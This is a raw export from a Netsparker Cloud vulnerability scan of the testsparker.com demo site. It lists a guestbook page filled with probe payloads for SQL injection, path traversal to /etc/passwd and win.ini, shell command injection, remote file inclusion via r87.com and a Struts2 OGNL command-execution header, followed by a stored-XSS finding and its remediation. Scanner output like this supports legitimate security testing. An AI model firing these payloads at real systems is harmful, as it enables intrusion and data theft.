
\r\n 8/23/2017 8:07:10 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:10 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:10 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:10 AM\r\n

\r\n

\r\n r87.com/n\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:09 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:08 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:08 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:08 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:07 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:05 AM\r\n

\r\n

\r\n php://filter//resource=http://r87.com/n?\u0000.aspx\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:04 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:04 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:04 AM\r\n

\r\n

\r\n http://r87.com/n?.aspx\r\n

\r\n
\r\n

ns:netsparker056650=vuln

\r\n

\r\n 8/23/2017 8:07:03 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:03 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:03 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:03 AM\r\n

\r\n

\r\n http://r87.com/n?\u0000.aspx\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:03 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:02 AM\r\n

\r\n

\r\n hTTp://r87.com/n\r\n

\r\n
\r\n

ns:netsparker056650=vuln

\r\n

\r\n 8/23/2017 8:07:02 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:02 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:02 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:02 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:02 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:01 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:01 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://example.com/?\r\nns: netsparker056650=vuln

\r\n

\r\n 8/23/2017 8:07:01 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

ns:netsparker056650=vuln

\r\n

\r\n 8/23/2017 8:07:01 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:01 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:00 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:00 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

\"+print localtime()*0+0xFFF9999-22+\"

\r\n

\r\n 8/23/2017 8:07:00 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:59 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'+print localtime()*0+0xFFF9999-22+'

\r\n

\r\n 8/23/2017 8:06:59 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:59 AM\r\n

\r\n

\r\n -1\" or 1=((SELECT 1 FROM (SELECT SLEEP(25))A))+\"\r\n

\r\n
\r\n

eval('print localtime()*0+0xFFF9999-22')

\r\n

\r\n 8/23/2017 8:06:59 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

print localtime()*0+0xFFF9999-22

\r\n

\r\n 8/23/2017 8:06:59 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:59 AM\r\n

\r\n

\r\n -1 or 1=((SELECT 1 FROM (SELECT SLEEP(25))A))\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:59 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

[php]print(int)0xFFF9999-22;[/php]

\r\n

\r\n 8/23/2017 8:06:58 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'{${print(int)0xFFF9999-22}}'

\r\n

\r\n 8/23/2017 8:06:58 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:58 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

{php}print(int)0xFFF9999-22;{/php}

\r\n

\r\n 8/23/2017 8:06:58 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

\r\n

\r\n 8/23/2017 8:06:58 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:57 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

\"+print(int)0xFFF9999-22+\"

\r\n

\r\n 8/23/2017 8:06:57 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:57 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'+print(int)0xFFF9999-22+'

\r\n

\r\n 8/23/2017 8:06:57 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

+print(int)0xFFF9999-22;//

\r\n

\r\n 8/23/2017 8:06:56 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:56 AM\r\n

\r\n

\r\n -1' or 1=((SELECT 1 FROM (SELECT SLEEP(25))A))+'\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:56 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

print(int)0xFFF9999-22;

\r\n

\r\n 8/23/2017 8:06:56 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:56 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:56 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Guestbook.aspx\u0000

\r\n

\r\n 8/23/2017 8:06:55 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

print(int)0xFFF9999-22

\r\n

\r\n 8/23/2017 8:06:55 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

r87.com/n

\r\n

\r\n 8/23/2017 8:06:55 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Guestbook.aspx

\r\n

\r\n 8/23/2017 8:06:55 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

php://filter//resource=http://r87.com/n?\u0000.aspx

\r\n

\r\n 8/23/2017 8:06:55 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

data:;base64,TlM3NzU0NTYxNDQ2NTc1

\r\n

\r\n 8/23/2017 8:06:54 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://r87.com/n?.aspx

\r\n

\r\n 8/23/2017 8:06:54 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

<% response.write(268409241-22) %>

\r\n

\r\n 8/23/2017 8:06:54 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd

\r\n

\r\n 8/23/2017 8:06:54 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

\"+response.write(268409241-22)+\"

\r\n

\r\n 8/23/2017 8:06:54 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

/etc/passwd

\r\n

\r\n 8/23/2017 8:06:54 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

+response.write(268409241-22)'

\r\n

\r\n 8/23/2017 8:06:54 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

/../../../../../../../../../../../etc/passwd

\r\n

\r\n 8/23/2017 8:06:54 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

response.write(268409241-22)'

\r\n

\r\n 8/23/2017 8:06:53 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

....//....//....//....//....//....//....//....//....//....//....//etc/passwd

\r\n

\r\n 8/23/2017 8:06:53 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://r87.com/n?\u0000.aspx

\r\n

\r\n 8/23/2017 8:06:53 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

/../../../../../../../../../../../etc/passwd\u0000.aspx

\r\n

\r\n 8/23/2017 8:06:53 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:53 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

/../../../../../../../../../../../etc/passwd\u0000

\r\n

\r\n 8/23/2017 8:06:53 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:52 AM\r\n

\r\n

\r\n '+((SELECT 1 FROM (SELECT SLEEP(25))A))+'\r\n

\r\n
\r\n

hTTp://r87.com/n

\r\n

\r\n 8/23/2017 8:06:52 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

file:///etc/passwd

\r\n

\r\n 8/23/2017 8:06:52 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

/../../../../../../../../../../../etc/passwd

\r\n

\r\n 8/23/2017 8:06:52 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:52 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:51 AM\r\n

\r\n

\r\n ((SELECT 1 FROM (SELECT SLEEP(25))A))\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:51 AM\r\n

\r\n

\r\n |expr${IFS}268409241${IFS}-${IFS}2\r\n

\r\n
\r\n

/../../../../../../../../../../proc/version\u0000.aspx

\r\n

\r\n 8/23/2017 8:06:51 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:51 AM\r\n

\r\n

\r\n 1));SELECT pg_sleep(25)--\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:51 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:50 AM\r\n

\r\n

\r\n '));SELECT pg_sleep(25)--\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:50 AM\r\n

\r\n

\r\n expr 268409241 - 2\r\n

\r\n
\r\n

/../../../../../../../../../../proc/version

\r\n

\r\n 8/23/2017 8:06:50 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:50 AM\r\n

\r\n

\r\n ping -c 25 127.0.0.1\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:49 AM\r\n

\r\n

\r\n expr 268409241 - 2 &\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:49 AM\r\n

\r\n

\r\n ping -n 25 127.0.0.1\r\n

\r\n
\r\n

/../../../../../../../../../../var/log/apache/error.log

\r\n

\r\n 8/23/2017 8:06:49 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:49 AM\r\n

\r\n

\r\n ');SELECT pg_sleep(25)--\r\n

\r\n
\r\n

/../../../../../../../../../../var/log/apache2/error.log

\r\n

\r\n 8/23/2017 8:06:49 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

/../../../../../../../../../../etc/httpd/logs/error_log

\r\n

\r\n 8/23/2017 8:06:49 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:48 AM\r\n

\r\n

\r\n 1);SELECT pg_sleep(25)--\r\n

\r\n
\r\n

/../../../../../../../../../../etc/httpd/logs/error.log

\r\n

\r\n 8/23/2017 8:06:48 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:48 AM\r\n

\r\n

\r\n SELECT pg_sleep(25)--\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:48 AM\r\n

\r\n

\r\n ping -c 25 127.0.0.1 &\r\n

\r\n
\r\n

/../../../../../../../../../../proc/self/fd/2\u0000.aspx

\r\n

\r\n 8/23/2017 8:06:48 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:47 AM\r\n

\r\n

\r\n 1;SELECT pg_sleep(25)--\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:47 AM\r\n

\r\n

\r\n &ping -c 25 127.0.0.1 &\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:47 AM\r\n

\r\n

\r\n ';SELECT pg_sleep(25)--\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:47 AM\r\n

\r\n

\r\n '&ping -c 25 127.0.0.1 &'\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:46 AM\r\n

\r\n

\r\n 1 + (select dbms_pipe.receive_message((chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)),25) from dual) + 1\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:46 AM\r\n

\r\n

\r\n \"&ping -c 25 127.0.0.1 &\"\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:46 AM\r\n

\r\n

\r\n 1' || (select dbms_pipe.receive_message((chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)),25) from dual) || '\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:46 AM\r\n

\r\n

\r\n ping -n 25 127.0.0.1 &\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:45 AM\r\n

\r\n

\r\n (select dbms_pipe.receive_message((chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)),25) from dual)\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:45 AM\r\n

\r\n

\r\n & ping -n 25 127.0.0.1 &\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:45 AM\r\n

\r\n

\r\n ((select sleep(25)))a-- 1\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:45 AM\r\n

\r\n

\r\n '& ping -n 25 127.0.0.1 &\r\n

\r\n
\r\n

/../../../../../../../../../../proc/self/fd/2

\r\n

\r\n 8/23/2017 8:06:44 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:44 AM\r\n

\r\n

\r\n -1 AND ((SELECT 1 FROM (SELECT 2)a WHERE 1=sleep(25)))-- 1\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:44 AM\r\n

\r\n

\r\n \"& ping -n 25 127.0.0.1 &\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:44 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:43 AM\r\n

\r\n

\r\n ((SELECT 1 FROM (SELECT SLEEP(25))A))/*'XOR(((SELECT 1 FROM (SELECT SLEEP(25))A)))OR'|\"XOR(((SELECT 1 FROM (SELECT SLEEP(25))A)))OR\"*/\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:43 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

/../../../../../../../../../../windows/iis6.log

\r\n

\r\n 8/23/2017 8:06:43 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

//r87.com/?0x003DBA

\r\n

\r\n 8/23/2017 8:06:43 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

....//....//....//....//....//....//....//....//....//....//....//windows\\win.ini

\r\n

\r\n 8/23/2017 8:06:43 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

//r87.com/?0x003DB9

\r\n

\r\n 8/23/2017 8:06:43 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

c:\\windows\\win.ini

\r\n

\r\n 8/23/2017 8:06:43 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:42 AM\r\n

\r\n

\r\n &expr 268409241 - 2 &\r\n

\r\n
\r\n

/../../../../../../../../../../windows/win.ini\u0000.aspx

\r\n

\r\n 8/23/2017 8:06:42 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

file:/windows/win.ini

\r\n

\r\n 8/23/2017 8:06:42 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

/../../../../../../../../../../windows/win.ini

\r\n

\r\n 8/23/2017 8:06:42 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:41 AM\r\n

\r\n

\r\n '&expr 268409241 - 2 &'\r\n

\r\n
\r\n

/../../../../../../../../../../web.config

\r\n

\r\n 8/23/2017 8:06:41 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:41 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:41 AM\r\n

\r\n

\r\n \"&expr 268409241 - 2 &\"\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:41 AM\r\n

\r\n

\r\n syscolumns WHERE 2>3;DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x--\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:40 AM\r\n

\r\n

\r\n SET /A 0xFFF9999-2\r\n

\r\n
\r\n

[ns](javascript:netsparker(0x003D91);)

\r\n

\r\n 8/23/2017 8:06:40 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'\"@-->

\r\n

\r\n 8/23/2017 8:06:40 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:40 AM\r\n

\r\n

\r\n 1);DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x--\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:40 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:39 AM\r\n

\r\n

\r\n 1;DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x--\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:39 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:39 AM\r\n

\r\n

\r\n 1));DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x--\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:39 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:38 AM\r\n

\r\n

\r\n 1)) WAITFOR DELAY '0:0:25'--\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:38 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:38 AM\r\n

\r\n

\r\n ')) WAITFOR DELAY '0:0:25'--\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:38 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:37 AM\r\n

\r\n

\r\n ') WAITFOR DELAY '0:0:25'--\r\n

\r\n
\r\n\t\t\t\t\r\n\t\t\t\t\t\r\n\t\t\t\t\r\n\t\t\t
12
\r\n
\r\n\r\n\r\n
\r\n
\r\n \r\n \r\n\r\n
\r\n
\r\n
\r\n \r\n \r\n
\r\n
\r\n
\r\n \r\n\r\n

Bitcoin Foundation.

\r\n
\r\n
\r\n \r\n \r\n
\r\n\r\n\r\n"},"ExtraInformation":[{"Name":"Injection URL","Value":"http://testsparker.com/administrator/trace.axd/%22ns=%22netsparker(0x002A8D)"},{"Name":"Notes","Value":"To exploit the XSS vulnerability on this page client might require to send certain HTTP headers. Therefore it might not be exploitable in many conditions however it still indicates lack of correct filtering and should be addressed."}],"KnownVulnerabilities":[],"Description":"

Netsparker Cloud detected possible stored cross-site scripting, which allows an attacker to execute dynamic scripts (JavaScript, VBScript) in the context of the application.

This allows several different attack opportunities, mostly hijacking the current session of the user or changing the look of the page by changing the HTML on the fly to steal the user's credentials. This happens because the input entered by the user has been interpreted by HTML/JavaScript/VBScript within the browser. \"Permanent\" means that the attack will be stored in the backend system. In normal cross-site scripting, an attacker needs to e-mail the victim, but in a permanent cross-site scripting, an attacker can simply execute the attack and wait for users to see the affected page. As soon as someone visits the page, the attacker's stored payload will get executed.

Cross-site scripting targets the users of the application instead of the server. Although this is a limitation, since it only allows attackers to hijack other users' sessions, the attacker might attack an administrator to gain full control over the application.

","Impact":"
Stored XSS is a dangerous issue that has many exploitation vectors, some of which include:
  • User session sensitive information such as cookies can be stolen.
  • XSS can enable client-side worms which could modify, delete or steal other users' data within the application.
  • The website can be redirected to a new location, defaced or used as a phishing site.
","RemedialActions":"","ExploitationSkills":"","RemedialProcedure":"

The issue occurs because the browser interprets the input as active HTML, JavaScript or VBScript. To avoid this, all input and output from the application should be filtered. Output should be filtered according to the output format and location. Typically the output location is HTML. Where the output is HTML, ensure all active content is removed prior to its presentation to the server.

Prior to sanitizing user input, ensure you have a pre-defined list of both expected and acceptable characters, with which you will populate a whitelist. This list needs only be defined once and should be used to sanitize and validate all subsequent input.

There are a number of pre-defined, well structured whitelist libraries available for many different environments; good examples of these include OWASP Reform and Microsoft Anti cross-site scripting libraries.

","RemedyReferences":"","ExternalReferences":"","ProofOfConcept":""},{"Url":"http://testsparker.com/GuestbookList.aspx","Type":"PossiblePermanentXss","Name":"[Possible] Stored Cross-site Scripting","Severity":"Important","Certainty":75,"Confirmed":false,"State":"Present","Classification":{"Owasp":"A3","Wasc":"8","Cwe":"79","Capec":"19","Pci31":"6.5.7","Pci32":"6.5.7","Hipaa":"164.308(a)"},"HttpRequest":{"Method":"GET","Content":"GET /GuestbookList.aspx HTTP/1.1\r\nHost: testsparker.com\r\nCache-Control: no-cache\r\nAccept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.16 Safari/537.36\r\nAccept-Language: en-us,en;q=0.5\r\nX-Scanner: Netsparker Cloud\r\nCookie: ASP.NET_SessionId=5nhgkucnjqxu5wn4cybrnayt; TestCookie=Hello\r\nAccept-Encoding: gzip, deflate\r\nContent-Type: %{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='22').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c','SET /A 0xFFF9999 -' + #cmd}:{'/bin/bash','-c','expr 268409241 - ' + #cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}\r\n\r\n","Parameters":[{"Name":"Content-Type","Type":"GenericHttpHeader","Value":"%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='22').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c','SET /A 0xFFF9999 -' + #cmd}:{'/bin/bash','-c','expr 268409241 - ' + #cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}","Vulnerable":true}]},"HttpResponse":{"StatusCode":200,"Duration":2375.0064,"Content":"HTTP/1.1 200 OK\r\nServer: Microsoft-IIS/8.5\r\nX-Powered-By: ASP.NET\r\nX-AspNet-Version: 4.0.30319\r\nContent-Length: 813147\r\nContent-Type: text/html; charset=utf-8\r\nDate: Wed, 23 Aug 2017 08:10:17 GMT\r\nCache-Control: private\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\tBitcoin Web Site\r\n\r\n \r\n \r\n\r\n
\r\n
\r\n\r\n\r\n\r\n
\r\n\r\n\r\n\r\n\r\n
\r\n\r\n\t\r\n\t\r\n\t\r\n
\r\n
\r\n
\r\n \r\n \r\n

Please, Login

\r\n \r\n Bitcoin Web Site\r\n \r\n \r\n\r\n
\r\n
\r\n
\r\n
\r\n \r\n \r\n \r\n\r\n

Last Comments

\r\n\r\n
\r\n\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\